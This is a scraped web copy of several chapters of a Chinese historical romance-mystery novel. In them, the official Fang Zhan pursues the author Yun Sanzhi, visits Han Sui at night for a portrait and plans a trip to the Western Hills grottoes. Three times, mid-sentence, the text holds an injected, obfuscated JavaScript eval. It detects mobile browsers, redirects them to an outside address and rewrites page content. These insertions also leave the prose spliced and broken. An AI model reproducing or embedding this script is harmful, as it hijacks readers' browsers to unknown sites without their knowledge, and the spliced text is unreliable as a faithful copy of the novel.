他将探来的情况全部告诉方湛,又道:“公子,我直觉那帮徒就是云三知,学腌咸菜什么的分明就是幌子,哪里有学徒不与师傅住在一起,每月只去两次的?” 方湛听后也觉得他的怀疑在理。斐然便更加有底气道:“我倒是越来越好奇这个云三知了,把自己搞得如此神秘,是何居心?公子,我已打听到这人去片雪斋的具体日子,就在明日辰时,每次都是从东角门而入,不如咱们直接去堵他吧!” 方湛略一思索:“也好,刘百盛的命案已有眉目,只等抓人取证,明日我便与你同去。” 说定此事后,斐然总算可以暂时松一口气,他一面帮方湛穿上氅衣,一面抱怨道:“公子有所不知,为了找那个云三知,我这几天是吃不好睡不好,方才来时路上不小心撞到一个小厮,差点把他认成阿粲姐姐,亏得那人还长了胡子,可见我这精神有多恍惚!” 方湛听罢心神一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083614|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛:“那人在哪里碰到的?” “就在府衙角门附近,库房外头的甬道里。” “库房……”方湛冷笑一声,“她倒是长本事了,连玄英卫都能糊弄得过去。” —— 二更梆子敲过,韩家各个房间内的光亮渐次暗灭下去。 不知过了多久,当黢黑的夜舞起细雪时,后院厢房的窗槅内又悄悄透出流萤似的光晕。 那光晕晃动着游移出门,随着小心翼翼的关门声落,一盏流光溢彩的六角宫灯出现在月色之中。那灯的各角缀下长串碎玉,伴着挑灯人的步伐发出清击琤琮,如同细碎的仙乐,沿着游廊一路洒落。 这晚的细雪只在瓦上地上薄薄铺了层白绫纱,转眼即又恢复了晴好。 厚云消散,月朗星稀,挑灯人遥望冷月默立出神。 忽然之间,墙角似有一个黑影闪过。 原本准备望月神伤的韩穗,还没来得及酝酿出忧思,情绪就被那道黑影给吓成了毛骨悚然。 她兀地想起方湛留下的玄英卫,强行稳定心神,大着胆子朝墙角走去。 “护、护卫大哥?” 一连几声,却无人回应,只有萧萧冷风吹过墙角竹叶的瑟瑟声响。 “是我。” 万籁俱寂中,一个清朗男声从身后幽幽传来。 人受惊吓时的第一反应各不相同,方湛预料韩穗定会尖叫着喊人,搭话时就已欺身上前,瞬时用手覆住她的嘴。 但他预料错了,韩穗从不瞎叫,只会行动。 她一口狠咬住嘴边的手,同时使足了劲猛踩对方双脚。 “是我!方湛!”方湛吃痛不已却也只能压低声音忙着自白身份。 身前女子明显一愣,旋即松口。 方湛甩着被咬得生疼的手,倒吸口凉气道:“好牙口。” 他借着月光,瞧见手掌边缘有一圈明显的牙印,眉峰一挑:“你再晚点松口,非给我咬出血来不可。明日上值若别人问起这伤来,我也只能说是被狗咬了。” 话刚说完,冷不防小腿又挨了结实一踢,他急忙又去捂腿。 韩穗猛踢几下总算出了口恶气。方才她被吓得三魂七魄都要飞回老家了,饶是此刻面前人长得如谪仙般,满心也只有震惊与气愤,又怕吵醒了家人,只好低声骂道:“你脑子有病吗?三更半夜悄无声息地出现在别人家中,你、你这是私闯民宅,信不信我这就喊叫出声,让街里街坊把你当贼给捉拿了?” “我不介意,”方湛抚袖将手上那两排糯米牙印盖住,淡然笑道,“等街坊们都到齐了,我就说是误会一场,不过是你我两厢情愿、深夜幽会罢了,到时候,也不知是谁会下不来台。” “你......” 见韩穗吃瘪的模样,方湛强压下嘴角飞翘的弧度,连日查案的疲惫瞬时消散,抬首只觉天上月心旷神怡。 他随意往栏杆上一倚,一身轻裘行衣,腰束革带,愈显身姿宽阔劲瘦,与往日的清致端儒相比,一举一动中又多了些落拓不羁。 反倒更像韩穗记忆中四年前紫金山上的那个少年。 不对不对,这事儿还没完呢。韩穗摒除脑海中那道俊朗身影,没好气道:“别告诉我你大半夜跟做贼似的潜进我家,就是为了赏月的!” 青年转面看向她,语气中毫无歉疚:“深夜到访虽有冒昧,但确实是有急事相求。” “何事?” 他眨了眨眼,笑道:“自然还是你的强项,画画。” 韩穗气极反笑:“方大人三更半夜翻墙溜进我家,就是要我作画?” 35. 云三知(下) “嗯,没错。”方湛点点头,真诚作答。 韩穗就站在距离他几步之外,手持琉璃灯,玲珑下巴微扬,目光中流露出毫不掩饰的狐疑。 可真够巧的,今日她刚好发现《寻幽图》中的秘密,此人就夜半时分出现在家中,让她不得不生出一颗防人之心。 二人就这样互不让步地对望了一阵,最终韩穗别开视线,看向空荡荡的庭院,问道:“要我画什么?” “画人,”方湛这才起身正姿,恢复了往日的冷肃,“先前刘家车夫交代有人买通他给马车做手脚,他虽不知对方身份,但却记得那人的相貌特征。我想请你根据他的描述,帮忙画一副人像。” “为何不找府衙里的画师?” “水平太差,那些衙署里的画师画技还不及你的一半。再者……” 方湛一句话尚未说完,韩穗早先瞟见角门旁一间厢房忽然亮起了光晕。说时迟那时快,她一把拽住方湛的胳膊,顺势将其推搡进旁边密密的竹林中。 “躲好了,别出声!”她在外头低声叮嘱道。 那厢房中住的是榆娘,只见榆娘披了件单衣提灯出门,神情疑惑地朝这边走来。待看清廊下之人,她惊讶道:“姑娘怎的还没睡?方才我听到外头好像有说话声,姑娘可曾听到?”说着,她举灯环视四周,似乎想看看是否还有别人。 韩穗笑道:“我睡不着,看月亮呢,一时兴起忍不住吟诗几句,搅扰榆娘好梦了。” “没有的事,我也没睡着呢,”榆娘连忙道,“大冷天的,姑娘仔细着凉,赶紧回屋睡吧!” 韩穗满口应下,好不容易把榆娘打发走,直到看着她回屋熄灯,这才松一口气。 “出来吧。” 竹叶婆娑响动,青年再次出现在眼前。 这位可不好打发,她心道,不如就应了他的要求,胡乱画一副也不过两刻功夫,总好过跟他在这儿纠缠不清惊动家人。 “跟我来。”她持灯引路,绕过庭院,从藏在小厨房内的槅扇门进入正堂暖阁之中。 灯台亮后,方湛环视四周,几日前他曾来过一次,对这儿的布局尚有印象。“不愧是你啊,闺阁书房居然设在正堂偏厅。” 韩穗一面铺纸研磨,一面随口回道:“家中只有我与父亲二人,来客亦少,便没那么多讲究。” 方湛寻了把圈椅缓缓坐下。烛火之畔,韩穗正用襻膊系绑衣袖,纤秀的身形投在苍白墙面上,留下一道茕茕孑影,愈加扩大了她身上那股倔强与不可靠近的独立。 他心中微动,郁积心底多日的问题再次呼之欲出——究竟发生了什么,她当初既舍弃他选择了白家,为何又要离开?离开白家后,她是否想过回京找他,而不是千里迢迢来云州投奔父亲? 可临到开口,话又止在喉间,只因他实在找不出一个如此发问的立场。 就在他欲言又止之间,韩穗已备好纸墨,在灯下提笔问道:“说吧,那人长什么样,有何突出特征?” 遐思倏然中断,方湛略不自然地理了理袍裾,回想道:“中年男子,四五十岁,阔额窄颌,粗短眉,细目高鼻,上唇覆一字胡须。” “就这些?”韩穗目露诧异,“按照你这个粗略描述,我能画出一堆人来。” “随意画一张便是。”方湛似乎并不在意人像的准确度。 韩穗虽觉不该如此,但她更想快些打发他走,乐得不计较,便当真随意画了起来。 云州人家习惯在入夜前用门板和窗板封好门窗,因而此刻暖阁内就算灯火煊亮,也不必担心外头有人发现。 万籁俱寂,屋内唯有落笔沙沙声。方湛坐着看了好一会儿,后轻轻起身,在这一方私人天地里四处转看起来。 作画人不免有些惴惴不安,不时用余光去瞄寻男子的袍角。 那道竹青色襕边先是掠过一排书架,又在墙上两幅挂画前略微驻足,随后慢步走向屋角那只带锁的大樟木箱。 糟了,韩穗的心猛然一揪。 今日她为托裱那副《寻幽图》,一直忙到入夜,疲惫中居然忘了给樟木箱上锁! 而箱子里装的正是《寻幽图》以及那十二张能将郭家拖入罪孽深渊的纸页! 方湛的背影定在樟木箱前良久,他缓缓抬手,伸向那未锁的箱盖。 “画完了,”韩穗及时收好最后一笔,极力淡定地托起画像,伸向方湛,“请大人过目。” 后者闻言回身,踅至桌前,看了眼人像:“最后几笔怎么突然不稳了?” 韩穗面无表情道:“画到最后,累了。” 方湛无声一笑。 等待墨迹干透的间隙,韩穗生怕他又将“毒手”伸向樟木箱,干脆先发制人:“我看大人方才在我这屋内转看良久,可是在寻找什么?” 不等对方开口,她半开玩笑道:“方大人乃端方君子,先是装成飞贼潜入我家后院,后又在闺阁书房中乱翻乱看,传出去不怕有损官名?” 方湛拎起画像检查墨迹,淡淡道:“我装飞贼进你书房,你扮小厮入我官衙,彼此彼此。” 此话一出,韩穗心中咯噔一声,当下便了然,定是白日里库房外那一撞,被斐然给认出来了。 “你乔装混进府衙去见刘郭氏,定没想到会遇到斐然吧?”青年说话语气再平常不过,似聊家常,“哦对了,忘记告诉你了,斐然如今跟在我身边做事。” 韩穗扯了扯嘴角:“好事,跟着大人,前途无量。” 画像干透后,二人收了画,正欲熄灯,方湛突然从书架上拿起一本书:“此书可否借我一看?” 韩穗瞧了眼书皮上“云石游志”四个字,面不改色道:“大人若感兴趣,送你便是。” 二人再次穿过小厨房离去,悄然步至后角门。韩穗小心拨开门闩,寥寥几句就要送客,可那位“不速之客”却还有话:“听说《云石游志》记载的是西山石窟,许多人看过后心神向往,不知此地当真值得一去?” 韩穗简短答道:“洞中壁画栩栩如生,值得一看。”她迫不及待地推闭门扇,从越来越窄的门缝中抛出一句:“恕不远送,大人走好。” “谢了。”方湛扬了扬手中的书与画像,笑着转身,消失在夜幕中的长街尽头。 —— 翌日一早,韩穗和先秀与往常去华严寺一样,换上男子衣衫,与父亲知会了一声,带上该带的东西,登上了马车。 马车驶出一段时间后,先秀忍不住推开窗缝往外探看。 果然,那名护卫不知何时早己跟上来,伴行在马车侧旁。 她合上窗,满意地点了点头。 通过昨晚及今早的两次强行投喂,先秀已经跟那位护卫大哥混熟了——至少她自己是这么认为的。护卫大哥虽然不爱言辞,但对于她的问题,也都一一答了。先秀这才知道,原来暗中保护她们的不止一个,还有两人负责在韩宅外围巡逻。 先秀岂是憋得住话的人,一上车就将护卫那几句简短回答加上自己的臆想扩充成叽里呱啦一大段,倒豆子似的跟韩穗说了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101076|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “说是咱们那天从刘家取走画匣时就被坏人盯上了!方大人怕姑娘有危险,特意派人来保护韩家,但后来还是不放心,又派了一个武功最厉害的,专门保护姑娘一人的安危。我问过了,其他府衙的老爷家可没这个待遇,咱们韩家独一份儿,并且方大人还叮嘱此事不能叫老爷知道,嘿嘿,我懂我懂,方大人定是不想叫这份私心扰乱了官场公事。这么看,他人不但长得好,心思也真是细腻……唔唔……” 一颗酥香的栗子饽饽被突然塞到嘴里,先秀滔滔不绝的话总算停了下来。 韩穗拍拍手上的酥皮碎屑,没好气道:“就你这脑子,还是多吃点,少说点吧。” 约摸半个时辰后,韩家的马车缓缓停在城东华严寺的后角门处。 华严寺已历经六朝风雨,却不似寻常古刹藏匿于深山老林中,而是坐落在东城外山脚下,寺前一条街市热闹非凡。 寺庙大门被挤在卖各色文玩的店铺中间,着实不算起眼。门前窄窄一条路,路边还挨挨挤挤地摆了两溜小摊,有解卦的,卖高香纸钱的,甚至还有杂耍的,若不是寺中幽袅而升的香火老远就能瞧见,找起庙门来还真得费些功夫。 韩家马车却从寺庙大门前径直路过,悠悠穿过繁忙街道,绕进一条无人土路上,来到僻静的山根处,最终在一扇不起眼的小角门前缓缓停下。 韩穗一下车,便瞧见距角门不远处栓停着两匹枣红马,四下不见马主人,只有马儿甩着尾巴,马鼻打响儿,悠闲地在清冽的冬日中喷着白气。 她略扫一眼,并未放在心上,上前敲响角门,自有小沙弥出来迎接。 此门是为闻觉大师所居之处片雪斋特意开设,以方便斋内人出入寺庙。开门的小沙弥认得韩穗二人,知是片雪斋常客,并不多问,双手合十,将人请让进门。 华严寺的后院别有幽深天地,院墙依山势往上延伸,而闻觉大师的禅房片雪斋就坐落在杂树掩映的半山腰上。 所行之处寂静清幽,小沙弥将来客带到一条蜿蜒山阶前,止步开口道:“雪天路滑,施主上山还需小心。”说完,他又犹疑看向韩穗身后的护卫:“这位施主有些眼生,从未见过。” 韩穗笑着解释:“近来城内几番发生街乱,这次出行便多带了名家丁。”她回头对那护卫道:“我有事要见闻觉大师,约莫半日功夫,大师向来不见生人,你在山下等着便是。” 护卫似有迟疑,先秀安慰道:“哎呀,放心吧,你就在这儿等着,华严寺安全得很,佛门净地谁敢造次?” 护卫最终听命,先秀则喜滋滋挽着韩穗胳膊踏上了山阶。 远处一座经阁的槛窗后,正密切观望山阶前几人动作的斐然突然急道:“公子,那二人要上山了,那条山路就是通往闻觉大师住处片雪斋的,咱们赶紧去叫住他们!” 说完他往门外一跃,却被一旁的方湛一把捞住。他回身,见方湛并没有行动的意思,火烧眉毛道:“公子再不赶紧去拦人,他们就上山去了!” 方湛闻言一撒手,却问:“你可看清那二人长相了?” 斐然摇头:“离得有点远,并且那俩人也一直没回头,只有个侧脸。公子可看清楚了?” 方湛默然。他虽也没看清几人的面孔,但其中一人的轮廓,任是混入千万人中,他也能一眼识出,更遑论她身旁立着他亲自指派去的玄英卫。 可一时之间,他实在无法将女扮男装的韩穗与他来此蹲守的目的联系在一起。 他需要缓缓,再理一理思路。 36. 西山石窟(一) 由于方湛的一时犹豫,斐然错失了守株“逮”免最佳时机,眼睁睁看着那二人的背影消失在山阶尽头,一面急得跺脚,一面自我安慰道:“没事没事,等那二人出来时再拦也一样。” 方湛此时的脑海中,却只有昨晚在韩穗书架上发现的那摞崭新的《云石游志》,彼时他还纳罕,同一本书韩穗为何要买十几本,而假若她自己就是印制此书的作者云三知,那么一切似乎就能说通了。 原来叫斐然踏破铁鞋无觅处的闻觉大师的俗家弟子,就近在身边眼前! 一时的惊诧过后,即是犹豫。他求见闻觉大师,只为解开郁藏在心中十几年的疑问,可这桩心事,他又很不愿将韩穗牵扯进来。 二人就这样坐在经阁内各有所想,忽然从外头疾步走进来一人,正是满头大汗的裘明。 “大人,总算找到您了!”他因有急事,进门就报,“有张金龙的下落了!” 方湛倏地起身:“详细禀来。” “按照此前大人的吩咐,我们在城内四处张贴张金龙的画像与捉拿告示,又派人重点把守城门与城外,果然在西山一带发现了他的踪迹。但此人狡猾至极,似对西山地形很是熟悉,发现情况不对,立刻钻入山中不见了。” “是谁发现的?” “州府的一名捕快,眼下正在衙署等着向大人回话。” “我这就回府衙。”方湛看了眼一脸茫然的斐然,命令道:“你也跟我一同回去。” 裘明的马栓在寺庙正门外,便与方湛二人分道行动。斐然则跟着方湛出了角门,直到上了马才反应过来:“公子去忙案子就是,我留下来堵那个云三知,为何连我也要一同回去?” 方湛在马背上沉默片刻,他抿了抿唇,又望了眼天,最终转面道:“你可知,韩穗此刻就在云州?” “韩穗……阿粲姐?”斐然果然被转移注意力,惊喜地发出一连串问:“阿粲姐在云州?可当真?公子已经见过她了?” 方湛微微点头,并未说二人是如何相见的,只道:“当年她离开书院便嫁往定州白家,去岁和离后,才来到云州与父亲生活。” 乍然听到“和离”二字,斐然有些怔然,回味过意思后,心头不免涌上一堆乱七八糟的滋味,又听方湛道:“这几日你悄悄去打听一下,她究竟为何和离,白家让她受了什么委屈?” “是!”斐然立刻正色道,“公子放心,我一定打听明白,那白家若果真让阿粲姐受了委屈,咱们定要为她讨回公道!” 方湛叮嘱:“记得低调行事,莫叫她察觉。” “明白。”斐然又问:“可是,咱们就这么放过那个云三知了?” “我有皇命在身,自然是查案要紧,个人私事可以暂且一放。” 方湛说完便回身扬鞭,策马而去。 斐然听罢也只好叹了口气,捞起缰绳匆匆跟上。 方湛等人甫一回到府衙,就有皂隶迎上前,道是黄知府与那名捕快俱在二堂等着了。方湛听后却转了脚下方向,留下一句:“此事不必叨扰知府大人,只带捕快到本官的馆舍回话就是。” 待他到达馆舍坐定,那名捕快也紧跟着进了门。 “小人今日在城外巡逻,看到一人离开官道往西鬼鬼祟祟走去。小人是云州本地人,以前见过万顺镖局的镖头张金龙,记得他那张脸,认出他后,就想追上把人给抓了,不想被他逃脱,躲进山不见了,这才赶快回来报信。” 裘明听后面露忧虑:“大人,眼下城内抓捕他的消息沸沸扬扬,他该不会是怕了,要从云州逃走吧?” 方湛反问道:“前日你带人去刘宅周围,将那些兜转蹲守的可疑之人抓了一批,如此大的动静,按理说躲在暗处的张金龙应该会有所忌惮,可之后他却继续派人在刘家附近徘徊,此事说明什么?” “他不死心!” “没错,”方湛笃定道,“据认识他的人描述,此人性情鲁莽狠绝,不达目的绝不罢休,没有拿到他想要的东西,应该不会轻易离开。” 堂下捕快又想到另一种棘手情况:“若是那厮藏进山里不肯出来,也够咱们挠头的,西山可大着呢,上哪儿找他去!” 方湛唇角一弯:“既然进山找人不可取,那就想法子引他出来。”他又对裘明道:“不过保险起见,让沈参领安排人手在北上与南下的路口设置关卡,严加盘查。” 这边将将安排好,外头又来人报说,画师已按照要求将人像画好了。 方湛接过呈上来的三张画像,叫捕快、画师等人全部退下,这才从袖中又抽出另外两张,一并展开,铺在桌案上。 斐然好奇地凑上前观看,突然指着其中一张惊讶道:“这不是州府同知徐大人么!画得可真像!” 他所夸赞的这幅人像,却非画师所画,乃是出自莫云斋老板许春年之手。许春年不仅擅经营,亦是丹青妙手。而方湛因事涉本地官府要员,不好惊动府衙内的画师,便于昨晚亲自赴莫云斋,找许老板勾勒出这幅徐醇风的画像。 那晚他拿到画后,返程途经韩家宅邸,临时起意,去找驻守在此的护卫问事。听说女侠气质的韩穗大晚上不睡觉,却在院中赏月神伤,只觉好笑,一时少年心性突发,几下翻过墙头,意欲捉弄。 然而当韩穗质问他何故出现时,他突然意识到自己的行为着实怪异,只好顺口诌了个让她帮忙画像的借口掩饰心虚。 想到此处,方湛拿起那张韩穗所作的画像,不由为自己昨晚突如其来的幼稚举动苦笑了一下。 他将桌上五张人像混叠在一起,交给裘明,起身道:“走吧,到了见证你我推测是对是错的时候了,且去看看那刘家车夫会如何指认。” —— 话分两头,再说冼牧川自那日发现方湛的异常之后,心痒难耐地想知道究竟是为何缘故。 按照他有限却纯粹的红粉人生经验,直觉他这位好友兼同僚,近日嘴角突然出现的那抹不自知的神秘笑意,只有一个原因——他春心萌动了! 冼牧川对自己的智慧深信不疑,得此结论后,他便将方湛来到云州后的所有行程细密密筛了一遍,最终发现,从始至终,方湛接触过的女性只有两位。 一位是被收监在库房里的命案死者妻子刘郭氏,可他想了想,刘郭氏虽娇美,但方湛似乎没有寡妇这口爱好,喜欢的人应该不是她。 如此就只剩最后一位女嘉宾了——韩通判家的那位小姐韩穗! 他顿时龇牙咧嘴地“嘶”了一长声,像是想到了什么可怕之事,居然是她?在街乱中硬生生撕破他“一寸金”纱衣的蛮丫头! 冼牧川不敢恭维方湛对于女人的品位,但他却因此一下子把一连串此前觉得不对劲的事情全部想通了。 这日午饭时间,他破天荒地没去外头下馆子,而是叫昌乐从酒楼打包了几样精致小菜,早早地带去花厅里坐等。 等到方湛着一身绯色官服信步而来,冼牧川立刻叫昌乐从食盒中摆出小菜,又打发他去府衙膳馆传饭。 方湛见他出现在此处不免意外:“呦,稀客呀。” 冼牧川热切招呼:“快坐下尝尝这几样云州特色,是兄弟我特意给你备的。” “今日怎么突然想起孝敬我来了?” 冼牧川对方湛的打诨不以为意:“你吃我几个菜,再答我几个问,如何?” “随便问吧。”方湛不以为意,径自净了手,落座提箸。 “那我就不客气了,”冼牧川大有升堂开审的架势,“我问你,咱们刚来云州,韩小姐当街冲撞我,还弄坏了我价值不菲的纱衣,你为何阻拦我找韩家索赔?” “还不是因为你顽劣,怕你节外生事,有损冼家门风。” “好,我再问你,韩小姐赔给我的玉佩,你为何强行从我手中夺走?” “闺阁女子的贴身之物,你总拿着不合适,”方湛面无表情道,“我拿走也是找机会还她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115665|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那我再问你,逃犯越狱那晚,从不怜香惜玉的方大人,为何反常地、主动地、大张旗鼓地调用兵卫护送韩家小姐回家?” “初到云州,多体恤下官,以示通情达理之处。”方湛不紧不慢地回答。 “那我再再再问你,”冼牧川咬牙切齿、毫不松口,“前一段时间,你日日去长顺坊的敬康堂找一个陆姓大夫打听韩小姐的腿伤,你到底安的什么心?” 方湛停箸叹一口气:“韩小姐因逃犯扔下的炸药惊马摔伤,归根到底,还是因为我安排不妥、护卫不周,心中为此歉疚,自然甚是关心她的伤势。” 问的人似连珠炮,答的人也有理有节。冼牧川终于意识到,自己跟他这种官场翘楚兜圈子根本不是对手,干脆回归自己的赛道,直白发问:“少说这些没用的,我就问你,你是不是看上韩家那姑娘了?” 果然,方湛终于脸色一变:“君子非礼勿言,韩姑娘是你我同僚的家眷,岂能在背后拿来说笑。” “我懂我懂,”冼牧川一副看透他心思的表情,语重心长道,“话又说回来了,明渊兄一表人才、年轻有为,那韩小姐虽说有几分姿色,但终究不是国色天香,差点意思。” 他极其务实贴心地替好友打算起来:“依我看,你要真喜欢,此女的身份嘛,带回去做妾也合适,就是挺废衣裳的,我跟你说,你以后做衣裳的料子,能有多结实就得多结实,那姑娘的力气可不一般……” “我看冼少监最近又有些过于清闲了,”方湛皱眉提声打断,“与其整日里操这些没边的闲心,不如由本官给你安排点正事干。” “说来听听,太‘正’的事我可不干。”冼牧川吊儿郎地拾箸夹菜。 “我明日想去云州西山石窟游玩,你帮我找个熟悉地形与风情的向导。” “好呀!”冼牧川一听出城游玩来了精神,他早就快在城里憋不住了,满口答应下来:“包在我冼七爷身上,保证给你安排好了!” 吃喝玩乐的事情冼牧川自然上心,但他更上心好友那影影绰绰的桃花。他这位挚友,别看年龄比自己还小上一岁,但常年正颜厉色、活得如孤寡老夫子似的,乍然有了铁树开花的迹象,怎能不叫他多费心思地忙前忙后? 不过这已是后话,自另当别叙。只说这日方湛与裘明找车夫指认过后,二人却对接下来如何行动提出了相左意见。 午饭过后,方湛步行回馆舍,远远瞧见裘明已立在堂前等他了。 待他一走近,裘明便急切抱拳道:“大人,属下还是坚持认为,既然刘家车夫已明确指认,买通他给马车做手脚的人就是徐醇风,我们大可直接抓人问罪了!再加上我们掌握罪吏尤谨的供词,徐醇风私放杀官案要犯尤谨,人证确凿,罪大恶极!如若迟迟不抓,只怕指认一事走漏风声,让他警觉,甚至找到脱身之计,到时候就晚了!” “怎么,裘校尉信不过我?”方湛站定在午后的日光中,仰头看着堂前柿子树上的一只鸟雀。 裘明一听,当即下跪请罪:“卑职不敢,只是圣上命我等在年前尽快查清云州一案,不免心有所急。” “急什么,”方湛饶有兴趣地看着那鸟雀啄食一只挂在枝头上的柿子,“这网才撒出去一半,正是需要沉得住气的时候。” 直到柿子被连续啄食十数下,不堪重负地吧唧掉落在地,而那鸟雀也被吓得拍翅惊飞,方湛才满意地收回视线,看向裘明。 “不过你的心急我可以理解,毕竟徐醇风此人可太有意思了。从一开始罪吏尤谨投奔他寻求庇护,他便对府衙隐瞒了张金龙在县衙大火中的存在。后来他又买通刘家车夫,配合张金龙杀了刘百盛。而眼下边军搜遍全城都抓不到张金龙,很可能也是因为徐醇风一直在给他通风报信。” “我怀疑,徐醇风一直与张金龙有联系,”方湛幽幽道,“如此重要的关系,不物尽其用岂不可惜?不如最后利用一次咱们的徐大人,看看能否将张金龙从西山里引出来。” 37. 西山石窟(二) 当天入夜时分,方湛刚把一本案卷展于灯下,就听到一阵急切的拍门声。 “明渊兄,是我!”一个熟悉的情绪高昂的声音从门外传来。 “门没锁,进。” 话音刚落,门哗地一声打开,喜气洋洋的冼牧川蹁跹而入。 “你猜怎么着,去西山石窟的向导我给找好了,保管你满意!说好了哈,明日乘我的马车去,越早越好,府衙东角门外,不见不散!” 方湛叫住说完就走的冼牧川,问道:“何处找的向导,什么身份?” 后者却神秘兮兮地笑而不答,一双浓眉耸了又耸,直到最后憋不住似地仰天哈哈大笑几声,随后转身扬长而去。 第二日,方湛仍是照常起床,按照上值的时辰,来到东角门外。 冼牧川那辆从上京赶来的朱轮华盖马车早己停在此处,而它一贯睡到日上三竿的主人,此刻破天荒地倚在车门处,一见方湛出现,神清气爽地从车上跃下,滔滔不绝地介绍起为此次出游特意增添的车内装置。 方湛瞧着略显旖旎的车厢内部,皱了皱眉头,却也没说什么,上车后便下令出发。 马车辚辚驶动,却不是往出城的方向。很快方湛意识到不对,冼牧川却挤眉弄眼地说道:“赶什么,不得亲自去接一下咱们的向导呀?” 方湛直觉他在搞鬼,但又问不出什么,只好任马车带他来到一个熟悉的地方。直到车停稳后,冼牧川急哄哄下车,一跃而上韩家宅门前的石阶,他才意识到事情的诡异走向。 开门的是一位老仆,冼牧川客客气气说明来意,这时从门内又闪出一个圆脸丫鬟,脆生生道:“我家姑娘还在睡觉呢,公子来早了。” “嗬,她的谱倒是比我冼七爷还大,说好了一早就走的呢?”从来都是受人捧的冼牧川甚是不满。 偏偏圆脸丫鬟不晓得他在上京的厉害:“我家姑娘说了,公子并未说定今日出行的具体时辰,那就按照她睡醒的时间算。” “嘿……”冼牧川刚想发发威,横里却伸出一只胳膊拦住了他。 方湛上前一步,对那丫鬟道:“时候也不早了,你进去通传一声便是。” 这位连怼冼七爷几句的丫鬟正是先秀,她一看是英朗神姿的方大人发话,立刻喜笑颜开:“原来方大人也一同去西山石窟,大人稍等,奴婢立刻去叫醒姑娘出发!” 先秀喜出望外地跑回后院寝堂,刚敲几下卧房门,突然想起昨晚韩穗的交待,又急忙收手,踟蹰不定起来。 然而房内的韩穗其实早已醒来,听到敲门声,极不情愿地翻了个身,只希望今日这一天能在眨眼间过去。 她的这种颓丧还要从父亲带回来的一个噩耗说起。 昨晚父亲下值归家后,连官服都顾不上换,直接将她叫去书房,说是白日里冼牧川突然找他,为的却是此前被其矢口否认的一件事。 但冼牧川这次就像记忆突然恢复了似的,将韩穗那日如何扯坏了他昂贵的衣裳一一道来,听得韩立煜是汗流浃背,点头哈腰地不住道歉,可当他暗示奉上名贵字画作赔礼时,却被对方义正言辞地拒绝了。 “听四方胡同的街坊们说,令媛经常去西山石窟拓画,想来对那里很是熟悉了。不如这样,钱财之物本公子从不看在眼中,不如叫韩小姐为在下当个向导,带我等去西山石窟赏玩一日如何?” 韩立煜本想硬着头皮拒绝了,待得知方湛也将一同前去后,瞬间安心了许多,便替女儿应下了。 他回家安慰韩穗:“像冼牧川那种公子哥,吃不了苦,走不了多少山路的,你就带他们去灵岩寺转转,顶多进山看一两个石窟,用不了一天也就尽兴而归了。” 见女儿不情愿,他又道:“明日叫华叔赶车陪着你,不与那二人同车就是,唉,确实委屈你了。” 毕竟是自己犯下的错,韩穗也不愿父亲为难,只能答应。然而她心中很不痛快,直觉冼牧川没安好心,中途指不定会如何捉弄自己,更不用提同行的还有那位她躲都来不及的死对头。 她有心让对方也不痛快,便故意晚起耽误时间,还交代了先秀如此这般的说辞。 然而一味拖延并不能解决问题,该面对的还得面对。韩穗缓缓坐起身,刚想出声唤先秀拿衣裳进来,却突然听得从外头传来一阵凶猛的犬吠声。 确切地说,那声音是从后街传来的。寝堂所在的后罩房紧邻街巷,偶尔在屋内听见街上动静也算常事,可今日的犬吠格外清晰,似乎就发生在韩宅的墙根之下。 很快,纯粹的狗叫中加入了人类混战,演变成人骂狗、狗骂人的乱糟糟动静。隐约之间,似听到有人在骂“上京的狗见了小爷都得乖乖摇尾巴,你这乡村恶犬竟也配吓我”之类的荒谬言论。 有那么一丝不祥又熟悉的感觉忽从心头跳过。 韩穗果断起身,随手裹了件披风冲到屋外,将躺在院墙根的梯子竖放起来,几下攀爬上去,悄悄看向墙外。 果然,墙根之下,一位华服锦帽、戴金佩紫的男子躲在小厮身后,正又怂又嚣张地朝对面一人一狗出言不逊。 确切地说,是一童一狗。 那小童头梳角辫,穿着鼓鼓囊囊的棉袍,游刃有余地控制着牵绳另一端的“恶犬”,时而放任大狗上前吓唬对面之人,眼看逼近了再拉扯回来,在对方的惊叫骂声中吃吃发笑。 “李老二?”韩穗讶异出声。 墙下几人转了好几圈才找到声音是从头顶上传来的。 “韩家姐姐!”小童见了韩穗绽出一朵大大的灿笑,甚至连那条大黄狗都停下狂叫,扒墙摇起了尾巴。 李老二是韩家后邻的孩子,与她惯熟的,平日里常牵着大黄在这条街上玩耍,虽淘气些,但从不无理胡闹。 “李老二,你被欺负了?”韩穗着急问道。 那小童还未 